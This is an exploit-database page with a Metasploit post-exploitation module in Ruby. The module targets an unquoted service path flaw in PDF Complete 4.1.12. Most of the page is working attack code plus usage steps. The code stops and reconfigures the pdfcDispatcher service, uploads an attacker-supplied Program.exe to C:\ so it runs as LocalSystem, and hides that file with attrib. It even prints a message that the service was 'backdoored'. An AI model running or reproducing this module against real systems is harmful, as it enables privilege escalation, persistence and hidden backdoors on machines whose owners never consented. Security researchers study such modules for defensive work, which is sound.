PDF Complete Office Edition 4.1.12 - Unquoted Service Path Privilege Escalation Exploit



EKU-ID: 5969 CVE: OSVDB-ID:
Author: pedr0 Ubuntu Published: 2016-10-31 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
  
  
##
# Exploit Title  : PDF_complete_corporate_edition.rb - 'Unquoted Service Path Privilege Escalation'
# PDF Version    : 4.1.12
# vuln Discover  : Joey Lane
# Module Author  : pedr0 Ubuntu [r00t-3xp10it]
# Tested on      : Windows 7 Professional
# Software Link  : http://www.pdfcomplete.com/cms/Downloads.aspx
# "This was tested on version 4.1.12, but other versions may be affected as well."
#
#
# Description:
# PDF Complete Corporate Edition installs a service with an unquoted service path.
# This enables a local privilege escalation vulnerability. To exploit this vulnerability,
# a local attacker can insert an executable file in the path of the service.
# Rebooting the system or restarting the service will run the malicious executable
# with elevated privileges.
#
# ---------------------------------------------------------------------------
# C:\>sc qc pdfcDispatcher                                                        
# [SC] QueryServiceConfig SUCCESS                                                 
#                                                                                 
# SERVICE_NAME: pdfcDispatcher                                                    
#         TYPE               : 10  WIN32_OWN_PROCESS                              
#         START_TYPE         : 2   AUTO_START                                     
#         ERROR_CONTROL      : 1   NORMAL                                         
#         BINARY_PATH_NAME   : C:\Program Files (x86)\PDF Complete\pdfsvc.exe                                         
#         LOAD_ORDER_GROUP   :                                                    
#         TAG                : 0                                                  
#         DISPLAY_NAME       : PDF Document Manager                               
#         DEPENDENCIES       :                                                    
#         SERVICE_START_NAME : LocalSystem
# ---------------------------------------------------------------------------
#
# EXAMPLE:
# Using the BINARY_PATH_NAME listed above as an example, an executable named
# "Program.exe" could be placed in "C:\", and it would be executed as the
# Local System user next time the service was restarted.
#
#
# MODULE OPTIONS:
# HINT: to unset all values use: msf post(PDF_complete_corporate_edition.rb) > unset all
# Input The session number to run this module on  => set SESSION 3
# Input full path of Program.exe to be uploaded   => set UPLOAD_PATH /root/shell/output/Program.exe
# Check pdfcDispatcher service auto-start status? => set SERVICE_STATUS true
# use attrib to hidde your program.exe in target? => set HIDDEN_ATTRIB true
#
#
# PORT MODULE TO METASPLOIT DATABASE:
# Kali linux   COPY TO: /usr/share/metasploit-framework/modules/post/windows/escalate/PDF_complete_corporate_edition.rb
# Ubuntu linux COPY TO: /opt/metasploit/apps/pro/msf3/modules/post/windows/escalate/PDF_complete_corporate_edition.rb
# Manually Path Search: root@kali:~# locate modules/post/windows/escalate
#
#
# LOAD/USE AUXILIARY:
# meterpreter > background
# msf exploit(handler) > reload_all
# msf exploit(handler) > use post/windows/escalate/PDF_complete_corporate_edition
# msf post(PDF_complete_corporate_edition) > info
# msf post(PDF_complete_corporate_edition) > show options
# msf post(PDF_complete_corporate_edition) > show advanced options
# msf post(PDF_complete_corporate_edition) > set [option(s)]
# msf post(PDF_complete_corporate_edition) > exploit
##
  
  
  
# ----------------------------
# Module Dependencies/requires
# ----------------------------
require 'rex'
require 'msf/core'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
  
  
  
# ----------------------------------
# Metasploit Class name and includes
# ----------------------------------
class MetasploitModule < Msf::Post
      Rank = ExcellentRanking
   
         include Msf::Post::Common
         include Msf::Post::Windows::Priv
  
  
  
# -----------------------------------------
# Building Metasploit/Armitage info GUI/CLI
# -----------------------------------------
        def initialize(info={})
                super(update_info(info,
                        'Name'          => 'PDF complete - Unquoted Service Path Privilege Escalation',
                        'Description'   => %q{
                                        This post-exploitation module requires a meterpreter session to be able to upload/inject our Program.exe into pdfcDispatcher service. PDF Complete Corporate Edition installs a service with an unquoted service path. This enables a local privilege escalation vulnerability. To exploit this vulnerability, a local attacker can insert an executable file in the path of the service. Rebooting the system or restarting the service will run the malicious executable with elevated privileges. "Warning: payload to be uploaded should be named as: Program.exe"
                        },
                        'License'       => UNKNOWN_LICENSE,
                        'Author'        =>
                                [
                                        'Vuln discover: Joey Lane',    # vulnerability discover
                                        'Module Author: pedr0 Ubuntu [r00t-3xp10it]', # post-module author
                                        'Special thanks: milton_barra|Chaitanya Haritash', # testing/debug module
                                ],
   
                        'Version'        => '$Revision: 1.1',
                        'DisclosureDate' => 'out 27 2016',
                        'Platform'       => 'windows',
                        'Arch'           => 'x86_x64',
                        'Privileged'     => 'false',
                        'Targets'        =>
                                [
                                         # Tested againts windows 7 (32 bits) | XP SP1 (32 bits)
                                         [ 'Windows XP', 'Windows VISTA', 'Windows 7', 'Windows 8', 'Windows 9', 'Windows 10' ]
                                ],
                        'DefaultTarget'  => '3', # default its to run againts windows 7 (32 bits)
                        'References'     =>
                                [
                                         [ 'URL', 'goo.gl/Etf934' ],
                                         [ 'URL', 'goo.gl/U54297' ],
                                         [ 'URL', 'http://sourceforge.net/users/peterubuntu10' ],
                                         [ 'URL', 'http://sourceforge.net/projects/msf-auxiliarys/repository' ]
                                ],
                        'DefaultOptions' =>
                                {
                                         'SESSION' => '1', # Default its to run againts session 1
                                },
                        'SessionTypes'   => [ 'meterpreter' ]
   
                ))
   
                register_options(
                        [
                                OptString.new('SESSION', [ true, 'The session number to run this module on']),
                                OptString.new('UPLOAD_PATH', [ false, 'The full path of Program.exe to be uploaded']),
                                OptBool.new('SERVICE_STATUS', [ false, 'Check remote pdfcDispatcher service settings?' , false]),
                                OptBool.new('HIDDEN_ATTRIB', [ false, 'Use Attrib command to Hide Program.exe?' , false])
                        ], self.class)
   
        end
  
  
  
  
# ----------------------------------------------
# Check for proper target Platform (win32|win64)
# ----------------------------------------------
def unsupported
   session = client
     sys = session.sys.config.sysinfo
       print_warning("[ABORT]: Operative System => #{sys['OS']}")
       print_error("Only windows systems are supported by this module...")
       print_error("Please execute [info] for further information...")
       print_line("")
   raise Rex::Script::Completed
end
  
  
  
  
# ----------------------------------------------------------
# UPLOAD OUR EXECUTABLE INTO pdfcDispatcher BINARY_PATH_NAME
# ----------------------------------------------------------
def ls_stage1
  
  r=''
  session = client
  upath = datastore['UPLOAD_PATH']
  bin_path = "C:\\Program Files (x86)\\PDF Complete\\pdfsvc.exe"
  # check for proper config settings enter
  # to prevent 'unset all' from deleting default options...
  if datastore['UPLOAD_PATH'] == 'nil'
    print_error("Options not configurated correctly...")
    print_warning("Please set UPLOAD_PATH option...")
    return nil
  else
    # elevate privs befor running module
    print_status("Persisting your payload in target system.")
    client.sys.config.getprivs.each do |priv|
    end
  end
  
  
    # check if vulnerable service (executable) exists
    if client.fs.file.exist?("#{bin_path}")
      print_warning("pdfcDispatcher service:found...")
      sleep(1.0)
      print_good("Stoping pdfcDispatcher service...")
      # stop service to enable proper configuration
      r = session.sys.process.execute("cmd.exe /c sc stop pdfcDispatcher", nil, {'Hidden' => true, 'Channelized' => true})
      sleep(2.0)
        print_good("Setting service to auto-start with windows...")
        # set service to auto-start with windows
        r = session.sys.process.execute("cmd.exe /c sc config pdfcDispatcher start= auto", nil, {'Hidden' => true, 'Channelized' => true})
        sleep(2.0)
  
          # upload our executable into temp foldder
          print_good("Uploading payload to target system...")
          client.fs.file.upload("%temp%\\Program.exe","#{upath}")
          sleep(2.0)
  
          # move payload to C:\Program.exe
          print_good("move payload to C: directory...")
          r = session.sys.process.execute("cmd.exe /c move /y %temp%\\Program.exe C:\\Program.exe", nil, {'Hidden' => true, 'Channelized' => true})
          sleep(2.0)
  
          # start service ...
          print_good("Restarting pdfcDispatcher service...")
          r = session.sys.process.execute("cmd.exe /c sc start pdfcDispatcher", nil, {'Hidden' => true, 'Channelized' => true})
          sleep(2.0)
  
        # task completed successefully...
        print_warning("pdfcDispatcher service [binary_path_name] backdoored successefuly...")
        print_status("Setup one handler and Wait everytime that system restarts OR")
        print_status("Setup one handler and restart pdfcDispatcher service: sc start pdfcDispatcher")
        print_line("")
  
    else
      print_error("#{bin_path} => NOT FOUND...")
      print_warning("post-module has aborted all tasks in hands :( ...")
      print_line("")
    end
  
    # close channel when done
    r.channel.close
    r.close
  
  # error exception funtion
  rescue ::Exception => e
  print_error("Error: #{e.class} #{e}")
end
  
  
  
  
# -------------------------------------------------
# USE ATTRIB COMMAND TO HIDDE PROGRAM.EXE (PAYLOAD)
# -------------------------------------------------
def ls_stage2
  
  r=''
  session = client
  hidden = "C:\\Program.exe"
  # check for proper config settings enter
  # to prevent 'unset all' from deleting default options...
  if datastore['HIDDEN_ATTRIB'] == 'nil'
    print_error("Options not configurated correctly...")
    print_warning("Please set HIDDEN_ATTRIB option...")
    return nil
  else
    # elevate privs befor running module
    print_status("Using Attrib command to hide Program.exe...")
    client.sys.config.getprivs.each do |priv|
    end
  end
  
  
    # check if Program.exe exist on target
    if client.fs.file.exist?("#{hidden}")
      print_status("Backdoor Program.exe file:found...")
      # stop service to enable proper configuration
      r = session.sys.process.execute("cmd.exe /c attrib +h +s C:\\Program.exe", nil, {'Hidden' => true, 'Channelized' => true})
      print_good(" Execute => attrib +h +s C:\\Program.exe")
      sleep(2.0)
  
        # diplay output to user
        print_status("Our Program.exe its hidden from normal people...")
        print_status("But dont feed the black hacker within :( ...")
        print_warning("To revert attributes: attrib -h -s C:\\Program.exe")
        print_line("")
  
      # close channel when done
      r.channel.close
      r.close
  
    else
      print_error("#{hidden}  => NOT FOUND...")
      print_warning("post-module has aborted all tasks in hands :( ...")
      print_line("")
    end
  
  
  # error exception funtion
  rescue ::Exception => e
  print_error("Error: #{e.class} #{e}")
end
  
  
  
  
# -------------------------------------------
# CHECK/DISPLAY pdfcDispatcher SERVICE STATUS
# -------------------------------------------
def ls_stage3
  
  r=''
  serv="pdfcDispatcher"
  session = client
  sysnfo = session.sys.config.sysinfo
  # check for proper config settings enter
  # to prevent 'unset all' from deleting default options...
  if datastore['SERVICE_STATUS'] == 'nil'
    print_error("Options not configurated correctly...")
    print_warning("Please set SERVICE_STATUS option...")
    return nil
  else
    print_status("Checking pdfcDispatcher service settings...")
    client.sys.config.getprivs.each do |priv|
    end
  end
  
  
    print_warning("Reading service hive registry keys...")
    # search in target regedit for WSearch auto-start service status
    # Value:Start - dword: 2 - auto | 3 - manual | 4 - disabled
    if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\pdfcDispatcher", "Start") == '2'
      startup = "auto_start"
    end
    if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\pdfcDispatcher", "Start") == '3'
      startup = "manual_start"
    end
    if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\pdfcDispatcher", "Start") == '4'
      startup = "disabled_start"
    else
        startup = "unknow"
        print_error("post-module cant define service auto_start status...")
        print_warning("enter into a shell session and execute: sc qc pdfcDispatcher status"
    end
  
  
      sleep(1.0)
      # display pdfcDispatcher service current settings.
      print_line("")
      print_line("    :host    => #{sysnfo['Computer']}")
      print_line("    :service => #{serv}")
      print_line("    :status  => running")
      print_line("    :startup => #{startup}")
      print_line("")
  
  # error exception funtion
  rescue ::Exception => e
  print_error("Error: #{e.class} #{e}")
end
  
  
  
  
# ------------------------------------------------
# MAIN DISPLAY WINDOWS (ALL MODULES - def run)
# Running sellected modules against session target
# ------------------------------------------------
def run
  session = client
    # Check for proper target Platform
    unsupported if client.platform !~ /win32|win64/i
  
      # Variable declarations (msf API calls)
      sysnfo = session.sys.config.sysinfo
      runtor = client.sys.config.getuid
      runsession = client.session_host
      directory = client.fs.dir.pwd
  
  
    # Print banner and scan results on screen pdfcDispatcher
    print_line("    +----------------------------------------------+")
    print_line("    | PRIVILEGE ESCALATION IN PDFDISPACHER SERVICE |")
    print_line("    |     Author: Pedro Ubuntu [ r00t-3xp10it ]    |")
    print_line("    +----------------------------------------------+")
    print_line("")
    print_line("    Running on session  : #{datastore['SESSION']}")
    print_line("    Computer            : #{sysnfo['Computer']}")
    print_line("    Operative System    : #{sysnfo['OS']}")
    print_line("    Target IP addr      : #{runsession}")
    print_line("    Payload directory   : #{directory}")
    print_line("    Client UID          : #{runtor}")
    print_line("")
    print_line("")
  
  
   
# ------------------------------------
# Selected settings to run
# ------------------------------------
      if datastore['UPLOAD_PATH']
         ls_stage1
      end
  
      if datastore['HIDDEN_ATTRIB']
         ls_stage2
      end
  
      if datastore['SERVICE_STATUS']
         ls_stage3
      end
   end
end